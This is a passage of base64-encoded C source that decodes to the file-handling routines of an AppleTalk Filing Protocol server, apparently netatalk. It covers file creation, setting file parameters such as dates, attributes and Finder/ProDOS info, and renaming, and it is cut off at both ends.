KmFkcDsNCiAgICBzdHJ1Y3Qgdm9sCQkqdm9sOw0KICAgIHN0cnVjdCBkaXIJ
CSpkaXI7DQogICAgc3RydWN0IG9mb3JrICAgICAgICAqb2Y7DQogICAgY2hh
cgkJKnBhdGgsICp1cGF0aDsNCiAgICBpbnQJCQljcmVhdGYsIGRpZCwgb3Bl
bmYsIHJldHZhbHVlID0gQUZQX09LOw0KICAgIHVfaW50MTZfdAkJdmlkOw0K
I2lmZGVmIEZPUkNFX1VJREdJRA0KICAgIHVpZGdpZHNldAkJKnVpZGdpZDsN
CiNlbmRpZiAvKiBGT1JDRV9VSURHSUQgKi8NCg0KI2lmZGVmIERFQlVHDQog
ICAgc3lzbG9nKExPR19JTkZPLCAiYmVnaW4gYWZwX2NyZWF0ZWZpbGU6Iik7
DQojZW5kaWYgLyogREVCVUcgKi8NCg0KICAgICpyYnVmbGVuID0gMDsNCiAg
ICBpYnVmKys7DQogICAgY3JlYXRmID0gKHVuc2lnbmVkIGNoYXIpICppYnVm
Kys7DQoNCiAgICBtZW1jcHkoJnZpZCwgaWJ1Ziwgc2l6ZW9mKCB2aWQgKSk7
DQogICAgaWJ1ZiArPSBzaXplb2YoIHZpZCApOw0KDQogICAgaWYgKCggdm9s
ID0gZ2V0dm9sYnl2aWQoIHZpZCApKSA9PSBOVUxMICkgew0KICAgICAgICBy
ZXR1cm4oIEFGUEVSUl9QQVJBTSApOw0KICAgIH0NCg0KICAgIGlmICh2b2wt
PnZfZmxhZ3MgJiBBRlBWT0xfUk8pDQogICAgICAgIHJldHVybiBBRlBFUlJf
VkxPQ0s7DQoNCiAgICBtZW1jcHkoJmRpZCwgaWJ1Ziwgc2l6ZW9mKCBkaWQp
KTsNCiAgICBpYnVmICs9IHNpemVvZiggZGlkICk7DQoNCiAgICBpZiAoKCBk
aXIgPSBkaXJzZWFyY2goIHZvbCwgZGlkICkpID09IE5VTEwgKSB7DQogICAg
ICAgIHJldHVybiggQUZQRVJSX05PT0JKICk7DQogICAgfQ0KDQogICAgaWYg
KCggcGF0aCA9IGNuYW1lKCB2b2wsIGRpciwgJmlidWYgKSkgPT0gTlVMTCAp
IHsNCiAgICAgICAgcmV0dXJuKCBBRlBFUlJfTk9PQkogKTsNCiAgICB9DQoN
CiAgICBpZiAoKHZvbC0+dl9mbGFncyAmIEFGUFZPTF9NU1dJTkRPV1MpICYm
DQogICAgICAgICAgICBzdHJwYnJrKHBhdGgsIE1TV0lORE9XU19CQURDSEFS
UykpDQogICAgICAgIHJldHVybiBBRlBFUlJfUEFSQU07DQoNCiAgICB1cGF0
aCA9IG10b3VwYXRoKHZvbCwgcGF0aCk7DQoNCiAgICBpZiAoKHZvbC0+dl9m
bGFncyAmIEFGUFZPTF9OT0hFWCkgJiYgc3RyY2hyKHVwYXRoLCAnLycpKQ0K
ICAgICAgICByZXR1cm4gQUZQRVJSX1BBUkFNOw0KDQogICAgaWYgKCF2YWxp
ZHVwYXRoKHZvbCwgdXBhdGgpKQ0KICAgICAgICByZXR1cm4gQUZQRVJSX0VY
SVNUOw0KDQogICAgLyogY2hlY2sgZm9yIHZldG9lZCBmaWxlbmFtZXMgKi8N
CiAgICBpZiAodmV0b19maWxlKHZvbC0+dl92ZXRvLCB1cGF0aCkpDQogICAg
ICAgIHJldHVybiBBRlBFUlJfRVhJU1Q7DQoNCiAgICBpZiAoKG9mID0gb2Zf
ZmluZG5hbWUodm9sLCBjdXJkaXIsIHBhdGgpKSkgew0KICAgICAgICBhZHAg
PSBvZi0+b2ZfYWQ7DQogICAgfSBlbHNlIHsNCiAgICAgICAgbWVtc2V0KCZh
ZCwgMCwgc2l6ZW9mKGFkKSk7DQogICAgICAgIGFkcCA9ICZhZDsNCiAgICB9
DQogICAgaWYgKCBjcmVhdGYpIHsNCiAgICAgICAgLyogb24gYSBoYXJkIGNy
ZWF0ZSwgZmFpbCBpZiBmaWxlIGV4aXN0cyBhbmQgaXMgb3BlbiAqLw0KICAg
ICAgICBpZiAoKHN0YXQodXBhdGgsICZzdCkgPT0gMCkgJiYgb2YpDQogICAg
ICAgICAgICByZXR1cm4gQUZQRVJSX0JVU1k7DQogICAgICAgIG9wZW5mID0g
T19SRFdSfE9fQ1JFQVR8T19UUlVOQzsNCiAgICB9IGVsc2Ugew0KICAgICAg
ICBvcGVuZiA9IE9fUkRXUnxPX0NSRUFUfE9fRVhDTDsNCiAgICB9DQoNCiNp
ZmRlZiBGT1JDRV9VSURHSUQNCg0KICAgIC8qIHByZXNlcnZlIGN1cnJlbnQg
ZXVpZCwgZWdpZCAqLw0KICAgIHNhdmVfdWlkZ2lkICggdWlkZ2lkICk7DQoN
CiAgICAvKiBwZXJmb3JtIGFsbCBzd2l0Y2hpbmcgb2YgdXNlcnMgKi8NCiAg
ICBzZXRfdWlkZ2lkICggdm9sICk7DQoNCiNlbmRpZiAvKiBGT1JDRV9VSURH
SUQgKi8NCg0KICAgIGlmICggYWRfb3BlbiggdXBhdGgsIHZvbF9ub2Fkb3Vi
bGUodm9sKXxBREZMQUdTX0RGfEFERkxBR1NfSEYsDQogICAgICAgICAgICAg
ICAgICBvcGVuZiwgMDY2NiwgYWRwKSA8IDAgKSB7DQogICAgICAgIHN3aXRj
aCAoIGVycm5vICkgew0KICAgICAgICBjYXNlIEVFWElTVCA6DQojaWZkZWYg
Rk9SQ0VfVUlER0lEDQogICAgICAgICAgICAvKiBicmluZyBldmVyeXRoaW5n
IGJhY2sgdG8gb2xkIGV1aWQsIGVnaWQgKi8NCiAgICAgICAgICAgIHJlc3Rv
cmVfdWlkZ2lkICggdWlkZ2lkICk7DQojZW5kaWYgLyogRk9SQ0VfVUlER0lE
ICovDQogICAgICAgICAgICByZXR1cm4oIEFGUEVSUl9FWElTVCApOw0KICAg
ICAgICBjYXNlIEVBQ0NFUyA6DQojaWZkZWYgRk9SQ0VfVUlER0lEDQogICAg
ICAgICAgICAvKiBicmluZyBldmVyeXRoaW5nIGJhY2sgdG8gb2xkIGV1aWQs
IGVnaWQgKi8NCiAgICAgICAgICAgIHJlc3RvcmVfdWlkZ2lkICggdWlkZ2lk
ICk7DQojZW5kaWYgLyogRk9SQ0VfVUlER0lEICovDQogICAgICAgICAgICBy
ZXR1cm4oIEFGUEVSUl9BQ0NFU1MgKTsNCiAgICAgICAgY2FzZSBFTk9FTlQ6
DQogICAgICAgICAgICAvKiBvbiBub2Fkb3VibGUgdm9sdW1lcywganVzdCBj
cmVhdGluZyB0aGUgZGF0YSBmb3JrIGlzIG9rICovDQogICAgICAgICAgICBp
ZiAodm9sX25vYWRvdWJsZSh2b2wpICYmIChzdGF0KHVwYXRoLCAmc3QpID09
IDApKQ0KICAgICAgICAgICAgICAgIGdvdG8gY3JlYXRlZmlsZV9kb25lOw0K
ICAgICAgICAgICAgLyogZmFsbHRocm91Z2ggKi8NCiAgICAgICAgZGVmYXVs
dCA6DQojaWZkZWYgRk9SQ0VfVUlER0lEDQogICAgICAgICAgICAvKiBicmlu
ZyBldmVyeXRoaW5nIGJhY2sgdG8gb2xkIGV1aWQsIGVnaWQgKi8NCiAgICAg
ICAgICAgIHJlc3RvcmVfdWlkZ2lkICggdWlkZ2lkICk7DQojZW5kaWYgLyog
Rk9SQ0VfVUlER0lEICovDQogICAgICAgICAgICByZXR1cm4oIEFGUEVSUl9Q
QVJBTSApOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgYWRfc2V0ZW50cnls
ZW4oIGFkcCwgQURFSURfTkFNRSwgc3RybGVuKCBwYXRoICkpOw0KICAgIG1l
bWNweShhZF9lbnRyeSggYWRwLCBBREVJRF9OQU1FICksIHBhdGgsDQogICAg
ICAgICAgIGFkX2dldGVudHJ5bGVuKCBhZHAsIEFERUlEX05BTUUgKSk7DQog
ICAgYWRfZmx1c2goIGFkcCwgQURGTEFHU19ERnxBREZMQUdTX0hGICk7DQog
ICAgYWRfY2xvc2UoIGFkcCwgQURGTEFHU19ERnxBREZMQUdTX0hGICk7DQoN
CmNyZWF0ZWZpbGVfZG9uZToNCg0KI2lmZGVmIERST1BLTFVER0UNCiAgICBp
ZiAodm9sLT52X2ZsYWdzICYgQUZQVk9MX0RST1BCT1gpIHsNCiAgICAgICAg
cmV0dmFsdWUgPSBtYXRjaGZpbGUyZGlycGVybXModXBhdGgsIHZvbCwgZGlk
KTsNCiAgICB9DQojZW5kaWYgLyogRFJPUEtMVURHRSAqLw0KDQogICAgc2V0
dm9sdGltZShvYmosIHZvbCApOw0KDQojaWZkZWYgREVCVUcNCiAgICBzeXNs
b2coTE9HX0lORk8sICJlbmQgYWZwX2NyZWF0ZWZpbGUiKTsNCiNlbmRpZiAv
KiBERUJVRyAqLw0KDQojaWZkZWYgRk9SQ0VfVUlER0lEDQogICAgLyogYnJp
bmcgZXZlcnl0aGluZyBiYWNrIHRvIG9sZCBldWlkLCBlZ2lkICovDQogICAg
cmVzdG9yZV91aWRnaWQgKCB1aWRnaWQgKTsNCiNlbmRpZiAvKiBGT1JDRV9V
SURHSUQgKi8NCg0KICAgIHJldHVybiAocmV0dmFsdWUpOw0KfQ0KDQppbnQg
YWZwX3NldGZpbHBhcmFtcyhvYmosIGlidWYsIGlidWZsZW4sIHJidWYsIHJi
dWZsZW4gKQ0KQUZQT2JqICAgICAgKm9iajsNCmNoYXIJKmlidWYsICpyYnVm
Ow0KaW50CQlpYnVmbGVuLCAqcmJ1ZmxlbjsNCnsNCiAgICBzdHJ1Y3Qgdm9s
CSp2b2w7DQogICAgc3RydWN0IGRpcgkqZGlyOw0KICAgIGNoYXIJKnBhdGg7
DQogICAgaW50CQlkaWQsIHJjOw0KICAgIHVfaW50MTZfdAl2aWQsIGJpdG1h
cDsNCg0KI2lmZGVmIERFQlVHDQogICAgc3lzbG9nKExPR19JTkZPLCAiYmVn
aW4gYWZwX3NldGZpbHBhcmFtczoiKTsNCiNlbmRpZiAvKiBERUJVRyAqLw0K
DQogICAgKnJidWZsZW4gPSAwOw0KICAgIGlidWYgKz0gMjsNCg0KICAgIG1l
bWNweSgmdmlkLCBpYnVmLCBzaXplb2YoIHZpZCApKTsNCiAgICBpYnVmICs9
IHNpemVvZiggdmlkICk7DQogICAgaWYgKCggdm9sID0gZ2V0dm9sYnl2aWQo
IHZpZCApKSA9PSBOVUxMICkgew0KICAgICAgICByZXR1cm4oIEFGUEVSUl9Q
QVJBTSApOw0KICAgIH0NCg0KICAgIGlmICh2b2wtPnZfZmxhZ3MgJiBBRlBW
T0xfUk8pDQogICAgICAgIHJldHVybiBBRlBFUlJfVkxPQ0s7DQoNCiAgICBt
ZW1jcHkoJmRpZCwgaWJ1Ziwgc2l6ZW9mKCBkaWQgKSk7DQogICAgaWJ1ZiAr
PSBzaXplb2YoIGRpZCApOw0KICAgIGlmICgoIGRpciA9IGRpcnNlYXJjaCgg
dm9sLCBkaWQgKSkgPT0gTlVMTCApIHsNCiAgICAgICAgcmV0dXJuKCBBRlBF
UlJfTk9PQkogKTsNCiAgICB9DQoNCiAgICBtZW1jcHkoJmJpdG1hcCwgaWJ1
Ziwgc2l6ZW9mKCBiaXRtYXAgKSk7DQogICAgYml0bWFwID0gbnRvaHMoIGJp
dG1hcCApOw0KICAgIGlidWYgKz0gc2l6ZW9mKCBiaXRtYXAgKTsNCg0KICAg
IGlmICgoIHBhdGggPSBjbmFtZSggdm9sLCBkaXIsICZpYnVmICkpID09IE5V
TEwgKSB7DQogICAgICAgIHJldHVybiggQUZQRVJSX05PT0JKICk7DQogICAg
fQ0KDQogICAgaWYgKCh1X2xvbmcpaWJ1ZiAmIDEgKSB7DQogICAgICAgIGli
dWYrKzsNCiAgICB9DQoNCiAgICBpZiAoKCByYyA9IHNldGZpbHBhcmFtcyh2
b2wsIHBhdGgsIGJpdG1hcCwgaWJ1ZiApKSA9PSBBRlBfT0sgKSB7DQogICAg
ICAgIHNldHZvbHRpbWUob2JqLCB2b2wgKTsNCiAgICB9DQoNCiNpZmRlZiBE
RUJVRw0KICAgIHN5c2xvZyhMT0dfSU5GTywgImVuZCBhZnBfc2V0ZmlscGFy
YW1zOiIpOw0KI2VuZGlmIC8qIERFQlVHICovDQoNCiAgICByZXR1cm4oIHJj
ICk7DQp9DQoNCg0KaW50IHNldGZpbHBhcmFtcyhzdHJ1Y3Qgdm9sICp2b2ws
DQogICAgICAgICAgICAgICAgIGNoYXIgKnBhdGgsIHVfaW50MTZfdCBiaXRt
YXAsIGNoYXIgKmJ1ZiApDQp7DQogICAgc3RydWN0IGFkb3VibGUJYWQsICph
ZHA7DQogICAgc3RydWN0IG9mb3JrICAgICAgICAqb2Y7DQogICAgc3RydWN0
IGV4dG1hcAkqZW07DQogICAgaW50CQkJYml0ID0gMCwgaXNhZCA9IDEsIGVy
ciA9IEFGUF9PSzsNCiAgICBjaGFyICAgICAgICAgICAgICAgICp1cGF0aDsN
CiAgICB1X2NoYXIgICAgICAgICAgICAgIGFjaGFyLCAqZmRUeXBlLCB4eXlb
NF07DQogICAgdV9pbnQxNl90CQlhc2hvcnQsIGJzaG9ydDsNCiAgICB1X2lu
dDMyX3QJCWFpbnQ7DQogICAgc3RydWN0IHV0aW1idWYJdXQ7DQoNCiNpZmRl
ZiBGT1JDRV9VSURHSUQNCiAgICB1aWRnaWRzZXQJCSp1aWRnaWQ7DQoNCiAg
ICB1aWRnaWQgPSBtYWxsb2Moc2l6ZW9mKHVpZGdpZHNldCkpOw0KI2VuZGlm
IC8qIEZPUkNFX1VJREdJRCAqLw0KDQojaWZkZWYgREVCVUcNCiAgICBzeXNs
b2coTE9HX0lORk8sICJiZWdpbiBzZXRmaWxwYXJhbXM6Iik7DQojZW5kaWYg
LyogREVCVUcgKi8NCg0KICAgIHVwYXRoID0gbXRvdXBhdGgodm9sLCBwYXRo
KTsNCiAgICBpZiAoKG9mID0gb2ZfZmluZG5hbWUodm9sLCBjdXJkaXIsIHBh
dGgpKSkgew0KICAgICAgICBhZHAgPSBvZi0+b2ZfYWQ7DQogICAgfSBlbHNl
IHsNCiAgICAgICAgbWVtc2V0KCZhZCwgMCwgc2l6ZW9mKGFkKSk7DQogICAg
ICAgIGFkcCA9ICZhZDsNCiAgICB9DQoNCiNpZmRlZiBGT1JDRV9VSURHSUQN
CiAgICBzYXZlX3VpZGdpZCAoIHVpZGdpZCApOw0KICAgIHNldF91aWRnaWQg
KCB2b2wgKTsNCiNlbmRpZiAvKiBGT1JDRV9VSURHSUQgKi8NCg0KICAgIGlm
IChhZF9vcGVuKCB1cGF0aCwgdm9sX25vYWRvdWJsZSh2b2wpIHwgQURGTEFH
U19IRiwNCiAgICAgICAgICAgICAgICAgT19SRFdSfE9fQ1JFQVQsIDA2NjYs
IGFkcCkgPCAwKSB7DQogICAgICAgIC8qIGZvciBzb21lIHRoaW5ncywgd2Ug
ZG9uJ3QgbmVlZCBhbiBhZG91YmxlIGhlYWRlciAqLw0KICAgICAgICBpZiAo
Yml0bWFwICYgfigxPDxGSUxQQklUX01EQVRFKSkgew0KI2lmZGVmIEZPUkNF
X1VJREdJRA0KICAgICAgICAgICAgcmVzdG9yZV91aWRnaWQgKCB1aWRnaWQg
KTsNCiNlbmRpZiAvKiBGT1JDRV9VSURHSUQgKi8NCiAgICAgICAgICAgIHJl
dHVybiB2b2xfbm9hZG91YmxlKHZvbCkgPyBBRlBfT0sgOiBBRlBFUlJfQUND
RVNTOw0KICAgICAgICB9DQogICAgICAgIGlzYWQgPSAwOw0KICAgIH0gZWxz
ZSBpZiAoKGFkX2dldG9mbGFncyggYWRwLCBBREZMQUdTX0hGICkgJiBPX0NS
RUFUKSApIHsNCiAgICAgICAgYWRfc2V0ZW50cnlsZW4oIGFkcCwgQURFSURf
TkFNRSwgc3RybGVuKCBwYXRoICkpOw0KICAgICAgICBtZW1jcHkoYWRfZW50
cnkoIGFkcCwgQURFSURfTkFNRSApLCBwYXRoLA0KICAgICAgICAgICAgICAg
YWRfZ2V0ZW50cnlsZW4oIGFkcCwgQURFSURfTkFNRSApKTsNCiAgICB9DQoN
CiAgICB3aGlsZSAoIGJpdG1hcCAhPSAwICkgew0KICAgICAgICB3aGlsZSAo
KCBiaXRtYXAgJiAxICkgPT0gMCApIHsNCiAgICAgICAgICAgIGJpdG1hcCA9
IGJpdG1hcD4+MTsNCiAgICAgICAgICAgIGJpdCsrOw0KICAgICAgICB9DQoN
CiAgICAgICAgc3dpdGNoKCAgYml0ICkgew0KICAgICAgICBjYXNlIEZJTFBC
SVRfQVRUUiA6DQogICAgICAgICAgICBtZW1jcHkoJmFzaG9ydCwgYnVmLCBz
aXplb2YoIGFzaG9ydCApKTsNCiAgICAgICAgICAgIGFkX2dldGF0dHIoYWRw
LCAmYnNob3J0KTsNCiAgICAgICAgICAgIGlmICggbnRvaHMoIGFzaG9ydCAp
ICYgQVRUUkJJVF9TRVRDTFIgKSB7DQogICAgICAgICAgICAgICAgYnNob3J0
IHw9IGh0b25zKCBudG9ocyggYXNob3J0ICkgJiB+QVRUUkJJVF9TRVRDTFIg
KTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgYnNo
b3J0ICY9IH5hc2hvcnQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBh
ZF9zZXRhdHRyKGFkcCwgYnNob3J0KTsNCiAgICAgICAgICAgIGJ1ZiArPSBz
aXplb2YoIGFzaG9ydCApOw0KICAgICAgICAgICAgYnJlYWs7DQoNCiAgICAg
ICAgY2FzZSBGSUxQQklUX0NEQVRFIDoNCiAgICAgICAgICAgIG1lbWNweSgm
YWludCwgYnVmLCBzaXplb2YoYWludCkpOw0KICAgICAgICAgICAgYWRfc2V0
ZGF0ZShhZHAsIEFEX0RBVEVfQ1JFQVRFLCBhaW50KTsNCiAgICAgICAgICAg
IGJ1ZiArPSBzaXplb2YoIGFpbnQgKTsNCiAgICAgICAgICAgIGJyZWFrOw0K
DQogICAgICAgIGNhc2UgRklMUEJJVF9NREFURSA6DQogICAgICAgICAgICBt
ZW1jcHkoJmFpbnQsIGJ1Ziwgc2l6ZW9mKCBhaW50ICkpOw0KICAgICAgICAg
ICAgaWYgKGlzYWQpDQogICAgICAgICAgICAgICAgYWRfc2V0ZGF0ZShhZHAs
IEFEX0RBVEVfTU9ESUZZLCBhaW50KTsNCiAgICAgICAgICAgIHV0LmFjdGlt
ZSA9IHV0Lm1vZHRpbWUgPSBBRF9EQVRFX1RPX1VOSVgoYWludCk7DQogICAg
ICAgICAgICB1dGltZSh1cGF0aCwgJnV0KTsNCiAgICAgICAgICAgIGJ1ZiAr
PSBzaXplb2YoIGFpbnQgKTsNCiAgICAgICAgICAgIGJyZWFrOw0KDQogICAg
ICAgIGNhc2UgRklMUEJJVF9CREFURSA6DQogICAgICAgICAgICBtZW1jcHko
JmFpbnQsIGJ1Ziwgc2l6ZW9mKGFpbnQpKTsNCiAgICAgICAgICAgIGFkX3Nl
dGRhdGUoYWRwLCBBRF9EQVRFX0JBQ0tVUCwgYWludCk7DQogICAgICAgICAg
ICBidWYgKz0gc2l6ZW9mKCBhaW50ICk7DQogICAgICAgICAgICBicmVhazsN
Cg0KICAgICAgICBjYXNlIEZJTFBCSVRfRklORk8gOg0KICAgICAgICAgICAg
aWYgKChtZW1jbXAoIGFkX2VudHJ5KCBhZHAsIEFERUlEX0ZJTkRFUkkgKSwg
dWZpbmRlcmksIDggKSA9PSAwKQ0KICAgICAgICAgICAgICAgICAgICAmJiAo
ZW0gPSBnZXRleHRtYXAoIHBhdGggKSkgJiYNCiAgICAgICAgICAgICAgICAg
ICAgKG1lbWNtcChidWYsIGVtLT5lbV90eXBlLCBzaXplb2YoIGVtLT5lbV90
eXBlICkpID09IDApICYmDQogICAgICAgICAgICAgICAgICAgIChtZW1jbXAo
YnVmICsgNCwgZW0tPmVtX2NyZWF0b3IsDQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgc2l6ZW9mKCBlbS0+ZW1fY3JlYXRvciApKSA9PSAwKSkgew0K
ICAgICAgICAgICAgICAgIG1lbWNweShidWYsIHVmaW5kZXJpLCA4ICk7DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBtZW1jcHkoYWRfZW50cnkoIGFk
cCwgQURFSURfRklOREVSSSApLCBidWYsIDMyICk7DQogICAgICAgICAgICBi
dWYgKz0gMzI7DQogICAgICAgICAgICBicmVhazsNCg0KICAgICAgICAgICAg
LyogQ2xpZW50IG5lZWRzIHRvIHNldCB0aGUgUHJvRE9TIGZpbGUgaW5mbyBm
b3IgdGhpcyBmaWxlLg0KICAgICAgICAgICAgICAgVXNlIGRlZmluZWQgc3Ry
aW5ncyBmb3IgdGhlIHNpbXBsZSBjYXNlcywgYW5kIGNvbnZlcnQNCiAgICAg
ICAgICAgICAgIGFsbCBlbHNlIGludG8gcFhZWSBwZXIgSW5zaWRlIEFwcGxl
dGFsay4gIEFsd2F5cyBzZXQNCiAgICAgICAgICAgICAgIHRoZSBjcmVhdG9y
IGFzICJwZG9zIi4gPHNoaXJzY2hAaWJtLm5ldD4gKi8NCiAgICAgICAgY2Fz
ZSBGSUxQQklUX1BESU5GTyA6DQogICAgICAgICAgICBhY2hhciA9ICpidWY7
DQogICAgICAgICAgICBidWYgKz0gMjsNCiAgICAgICAgICAgIG1lbWNweSgm
YXNob3J0LCBidWYsIHNpemVvZiggYXNob3J0ICkpOw0KICAgICAgICAgICAg
YXNob3J0ID0gbnRvaHMoIGFzaG9ydCApOw0KICAgICAgICAgICAgYnVmICs9
IDI7DQoNCiAgICAgICAgICAgIHN3aXRjaCAoICh1bnNpZ25lZCBpbnQpIGFj
aGFyICkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgIGNhc2UgMHgwNCA6
DQogICAgICAgICAgICAgICAgZmRUeXBlID0gKCB1X2NoYXIgKikgIlRFWFQi
Ow0KICAgICAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICBjYXNl
IDB4ZmYgOg0KICAgICAgICAgICAgICAgIGZkVHlwZSA9ICggdV9jaGFyICop
ICJQU1lTIjsNCiAgICAgICAgICAgICAgICBicmVhazsNCg0KICAgICAgICAg
ICAgY2FzZSAweGIzIDoNCiAgICAgICAgICAgICAgICBmZFR5cGUgPSAoIHVf
Y2hhciAqKSAiUFMxNiI7DQogICAgICAgICAgICAgICAgYnJlYWs7DQoNCiAg
ICAgICAgICAgIGNhc2UgMHgwMCA6DQogICAgICAgICAgICAgICAgZmRUeXBl
ID0gKCB1X2NoYXIgKikgIkJJTkEiOw0KICAgICAgICAgICAgICAgIGJyZWFr
Ow0KDQogICAgICAgICAgICBkZWZhdWx0IDoNCiAgICAgICAgICAgICAgICB4
eXlbMF0gPSAoIHVfY2hhciApICdwJzsNCiAgICAgICAgICAgICAgICB4eXlb
MV0gPSBhY2hhcjsNCiAgICAgICAgICAgICAgICB4eXlbMl0gPSAoIHVfY2hh
ciApICggYXNob3J0ID4+IDggKSAmIDB4ZmY7DQogICAgICAgICAgICAgICAg
eHl5WzNdID0gKCB1X2NoYXIgKSBhc2hvcnQgJiAweGZmOw0KICAgICAgICAg
ICAgICAgIGZkVHlwZSA9IHh5eTsNCiAgICAgICAgICAgICAgICBicmVhazsN
CiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgbWVtY3B5KGFkX2VudHJ5
KCBhZHAsIEFERUlEX0ZJTkRFUkkgKSwgZmRUeXBlLCA0ICk7DQogICAgICAg
ICAgICBtZW1jcHkoYWRfZW50cnkoIGFkcCwgQURFSURfRklOREVSSSApICsg
NCwgInBkb3MiLCA0ICk7DQogICAgICAgICAgICBicmVhazsNCg0KDQogICAg
ICAgIGRlZmF1bHQgOg0KICAgICAgICAgICAgZXJyID0gQUZQRVJSX0JJVE1B
UDsNCiAgICAgICAgICAgIGdvdG8gc2V0ZmlscGFyYW1fZG9uZTsNCiAgICAg
ICAgfQ0KDQogICAgICAgIGJpdG1hcCA9IGJpdG1hcD4+MTsNCiAgICAgICAg
Yml0Kys7DQogICAgfQ0KDQpzZXRmaWxwYXJhbV9kb25lOg0KICAgIGlmIChp
c2FkKSB7DQogICAgICAgIGFkX2ZsdXNoKCBhZHAsIEFERkxBR1NfSEYgKTsN
CiAgICAgICAgYWRfY2xvc2UoIGFkcCwgQURGTEFHU19IRiApOw0KDQojaWZk
ZWYgRk9SQ0VfVUlER0lEDQogICAgICAgIHJlc3RvcmVfdWlkZ2lkICggdWlk
Z2lkICk7DQojZW5kaWYgLyogRk9SQ0VfVUlER0lEICovDQoNCiAgICB9DQoN
CiNpZmRlZiBERUJVRw0KICAgIHN5c2xvZyhMT0dfSU5GTywgImVuZCBzZXRm
aWxwYXJhbXM6Iik7DQojZW5kaWYgLyogREVCVUcgKi8NCg0KICAgIHJldHVy
biBlcnI7DQp9DQoNCi8qDQogKiByZW5hbWVmaWxlIGFuZCBjb3B5ZmlsZSB0
YWtlIHRoZSBvbGQgYW5kIG5ldyB1bml4IHBhdGhuYW1lcw0KICogYW5kIHRo
ZSBuZXcgbWFjIG5hbWUuDQogKiBOT1RFOiBpZiB3ZSBoYXZlIHRvIGNvcHkg
YSBmaWxlIGluc3RlYWQgb2YgcmVuYW1pbmcgaXQsIGxvY2tzDQogKiAgICAg
ICB3aWxsIGJyZWFrLg0KICovDQppbnQgcmVuYW1lZmlsZShzcmMsIGRzdCwg
bmV3bmFtZSwgbm9hZG91YmxlICkNCmNoYXIJKnNyYywgKmRzdCwgKm5ld25h
bWU7DQpjb25zdCBpbnQgICAgICAgICBub2Fkb3VibGU7DQp7DQogICAgc3Ry
dWN0IGFkb3VibGUJYWQ7DQogICAgY2hhcgkJYWRzcmNbIE1BWFBBVEhMRU4g
KyAxXTsNCiAgICBpbnQJCQlsZW4sIHJjOw0KDQogICAgLyoNCiAgICAgKiBO
b3RlIHRoYXQgdGhpcyBpcyBvbmx5IGNoZWNraW5nIHRoZSBleGlzdGFuY2Ug
b2YgdGhlIGRhdGEgZmlsZSwNCiAgICAgKiBub3QgdGhlIGhlYWRlciBmaWxl
LiAgVGhlIHRoaW5raW5nIGlzIHRoYXQgaWYgdGhlIGRhdGEgZmlsZSBkb2Vz
bid0DQogICAgICogZXhpc3QsIGJ1dCB0aGUgaGVhZGVyIGZpbGUgZG9lcywg
dGhlIHJpZ2h0IHRoaW5nIHRvIGRvIGlzIHJlbW92ZQ0KICAgICAqIHRoZSBk
YXRhIGZpbGUgc2lsZW50bHkuDQogICAgICovDQoNCiAgICAvKiBleGlzdGVu
Y2UgY2hlY2sgbW92ZWQgdG8gYWZwX21vdmVhbmRyZW5hbWUgKi8NCg0KI2lm
ZGVmIERFQlVHDQogICAgc3lzbG9nIChMT0dfSU5GTywgImJlZ2luIHJlbmFt
ZWZpbGU6Iik7DQojZW5kaWYgLyogREVCVUcgKi8NCg0KICAgIGlmICggcmVu
YW1lKCBzcmMsIGRzdCApIDwgMCApIHsNCiAgICAgICAgc3dpdGNoICggZXJy
bm8gKSB7DQogICAgICAgIGNhc2UgRU5PRU5UIDoNCiAgICAgICAgICAgIHJl
dHVybiggQUZQRVJSX05PT0JKICk7DQogICAgICAgIGNhc2UgRVBFUk06DQog
ICAgICAgIGNhc2UgRUFDQ0VTIDoNCiAgICAgICAgICAgIHJldHVybiggQUZQ
RVJSX0FDQ0VTUyApOw0KICAgICAgICBjYXNlIEVST0ZTOg0KICAgICAgICAg
ICAgcmV0dXJuIEFGUEVSUl9WTE9DSzsNCiAgICAgICAgY2FzZSBFWERFViA6
CQkJLyogQ3Jvc3MgZGV2aWNlIG1vdmUgLS0gdHJ5IGNvcHkgKi8NCiAgICAg
ICAgICAgIGlmICgoIHJjID0gY29weWZpbGUoc3JjLCBkc3QsIG5ld25hbWUs
IG5vYWRvdWJsZSApKSAhPSBBRlBfT0sgKSB7DQogICAgICAgICAgICAgICAg
ZGVsZXRlZmlsZSggZHN0ICk7DQogICAgICAgICAgICAgICAgcmV0dXJuKCBy
YyApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGRlbGV0
ZWZpbGUoIHNyYyApOw0KICAgICAgICBkZWZhdWx0IDoNCiAgICAgICAgICAg
IHJldHVybiggQUZQRVJSX1BBUkFNICk7DQogICAgICAgIH0NCiAgICB9DQoN
CiAgICBzdHJjcHkoIGFkc3JjLCBhZF9wYXRoKCBzcmMsIDAgKSk7DQogICAg
cmMgPSAwOw0KcmVuYW1lX3JldHJ5Og0KICAgIGlmIChyZW5hbWUoIGFkc3Jj
LCBhZF9wYXRoKCBkc3QsIDAgKSkgPCAwICkgew0KICAgICAgICBzdHJ1Y3Qg
c3RhdCBzdDsNCg0KICAgICAgICBzd2l0Y2ggKCBlcnJubyApIHsNCiAgICAg
ICAgY2FzZSBFTk9FTlQgOg0KICAgICAgICAgICAgLyogY2hlY2sgZm9yIGEg
c291cmNlIGFwcGxlZG91YmxlIGhlYWRlci4gaWYgaXQgZXhpc3RzLCBtYWtl
DQogICAgICAgICAgICAgKiBhIGRlc3QgYXBwbGVkb3VibGUgZGlyZWN0b3J5
IGFuZCBkbyB0aGUgcmVuYW1lIGFnYWluLiAqLw0KICAgICAgICAgICAgbWVt
c2V0KCZhZCwgMCwgc2l6ZW9mKGFkKSk7DQogICAgICAgICAgICBpZiAocmMg
fHwgc3RhdChhZHNyYywgJnN0KSB8fA0KICAgICAgICAgICAgICAgICAgICAo
YWRfb3Blbihkc3QsIEFERkxBR1NfSEYsIE9fUkRXUiB8IE9fQ1JFQVQsIDA2
NjYsICZhZCkgPCAwKSkNCiAgICAgICAgICAgICAgICByZXR1cm4gQUZQX09L
Ow0KICAgICAgICAgICAgcmMrKzsNCiAgICAgICAgICAgIGFkX2Nsb3NlKCZh
